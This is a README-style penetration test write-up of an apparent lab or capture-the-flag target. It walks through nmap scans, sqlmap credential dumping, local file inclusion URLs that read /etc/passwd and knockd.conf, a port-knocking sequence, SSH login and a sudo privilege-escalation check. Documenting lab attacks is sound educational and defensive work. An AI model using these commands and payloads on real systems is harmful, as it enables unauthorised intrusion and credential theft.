Penetration Testing Report: Red Team Simulation

This repository contains the documentation and findings from a **Red Team Simulation** penetration test conducted against a target host and its web application. The assessment followed a **Black-Box** approach to emulate a real-world adversary and evaluate the security posture of the target system.

Disclaimer: This report details a security assessment and is intended for educational and defensive purposes only. The information contained herein should only be used on systems where explicit permission has been granted.

1. Project Overview

The objective of this engagement was to simulate a realistic attack path, starting from initial reconnaissance to full system compromise via local privilege escalation. The target was an internal network host, `192.168.196.138`, and its related application functionality [1].

The attack chain successfully exploited a series of linked vulnerabilities:

1. **SQL Injection** in a search parameter.
2. **Local File Inclusion (LFI)** to read sensitive system files.
3. **Disclosure of Port Knocking Configuration** (`/etc/knockd.conf`).
4. **Port Knocking** execution to open SSH access.
5. **Credential Harvesting** and brute-force to gain an interactive shell.
6. **Sudo Misconfiguration** for local privilege escalation [1].

2. System Requirements (Tools and Dependencies)

This project is a documentation of a security assessment. To replicate the steps detailed in the methodology, the following tools and environments are required:

Category	Tool/Dependency	Purpose
Operating System	Kali Linux or similar penetration testing distribution	Provides a pre-configured environment with necessary tools [1].
Network Scanner	`nmap`	Host discovery and service enumeration [1] [2].

SQL Injection Tool	`sqlmap`	Automated detection and exploitation of SQL Injection vulnerabilities [1] [3].
Brute-Force Tool	`hydra`	Online password cracking and brute-force attacks against services like SSH [1] [4].
Port Knocking Client	`knock` (or `knockd` client)	Executing the port knocking sequence to open closed ports [1] [5].
Secure Shell Client	`ssh`	Establishing a secure connection to the target host [1].
Online Cracker	CrackStation (online service)	Proof-of-concept for recovering password hashes [1] [6].

3. Installation Steps

Since this is a report and not a software project, the "installation" refers to setting up the necessary tools on a penetration testing machine (e.g., Kali Linux).

1. **Prepare Environment:** Ensure you are running a Linux distribution like Kali Linux, which typically has these tools pre-installed.
2. **Install Dependencies (if necessary):**

4. Configuration Instructions

The configuration is specific to the target environment (`192.168.196.138`) and the files used during the assessment.

1. **Target IP:** The primary target for all commands is `192.168.196.138`. Replace this with your target IP if replicating the steps.
2. **SQLmap Request File:** The SQL Injection phase requires an HTTP request file (`check2.txt`) containing the vulnerable POST request.
   - **File:** `check2.txt`
   - **Content:** Must contain the full HTTP POST request to the vulnerable web search endpoint [1] [3].

3. **Credential Files (for Hydra):** The brute-force attack requires a list of usernames and passwords.
    - **Files:** `users.txt` and `passwords.txt`
    - **Content:** Lists of potential usernames and passwords for the target system [1] [4].

5. Execution Guide (Simulating the Attack Path)

The following steps outline the critical commands used to execute the simulated attack path.

5.1. Reconnaissance and Service Enumeration

Bash

```bash
# Host discovery
nmap -sn 192.168.196.0/24
# Full port scan and service detection on the target
nmap -A -Pn -p- 192.168.196.138
```

5.2. SQL Injection and Data Extraction

Use `sqlmap` with the prepared request file (`check2.txt`) to extract database information.

Bash

```bash
# Enumerate databases
sqlmap -r check2.txt --dbs
# Dump usernames and passwords from the 'Users' table in the 'Staff' database
sqlmap -r check2.txt -D Staff -T Users -C username,password --dump
```

5.3. Local File Inclusion (LFI)

Exploit the LFI vulnerability to read sensitive system files, specifically the port knocking configuration.

Bash

```bash
# Read /etc/passwd to enumerate users
http://192.168.196.138/welcome.php?file=../../../../etc/passwd
# Read the knockd configuration file
http://192.168.196.138/welcome.php?file=//////etc/knockd.conf
```

5.4. Port Knocking and SSH Access

Execute the sequence revealed in `/etc/knockd.conf` (e.g., `7469 8475 9842`) to open port 22.

```bash
# Execute the port knocking sequence
knock -v 192.168.196.138 7469 8475 9842
# Verify port 22 is now open
nmap -p 22 192.168.196.138
# Log in via SSH using harvested or cracked credentials
ssh fredf@192.168.196.138
```

5.5. Privilege Escalation

Once logged in, check for misconfigurations, such as a `NOPASSWD` entry in `sudoers`, to escalate privileges to root.

```bash
# Check for sudo privileges
sudo -l
# Execute the misconfigured binary to gain root access (if applicable)
```

6. API Documentation (Not Applicable)

This project is a security assessment report detailing the exploitation of vulnerabilities in a target system. It does not involve the development or documentation of a public-facing API. The tools used (e.g., `sqlmap`, `hydra`) have their own command-line interfaces, which are detailed in the Execution Guide.

7. Executable Files & Deployment Link

Executable Files

This repository does not contain compiled software, packaged applications (e.g., `.exe`, `.jar`, `.apk`), or source code for a deployable project. It is a **documentation repository** for a penetration test.

Deployment Link

There is no deployed web or mobile application associated with this report. The target of the assessment was a specific internal IP address (`192.168.196.138`) which is not publicly accessible.

References

[1] Penetration Test Report. Overview, Scope, and Methodology.
[2] Penetration Test Report. Reconnaissance and Service Enumeration.
[3] Penetration Test Report. SQL Injection (Discovery & Exploitation).
[4] Penetration Test Report. SSH Authentication & Post-Exploitation.
[5] Penetration Test Report. Port Knocking (extracting the sequence & executing it).
[6] Penetration Test Report. Note on CrackStation usage.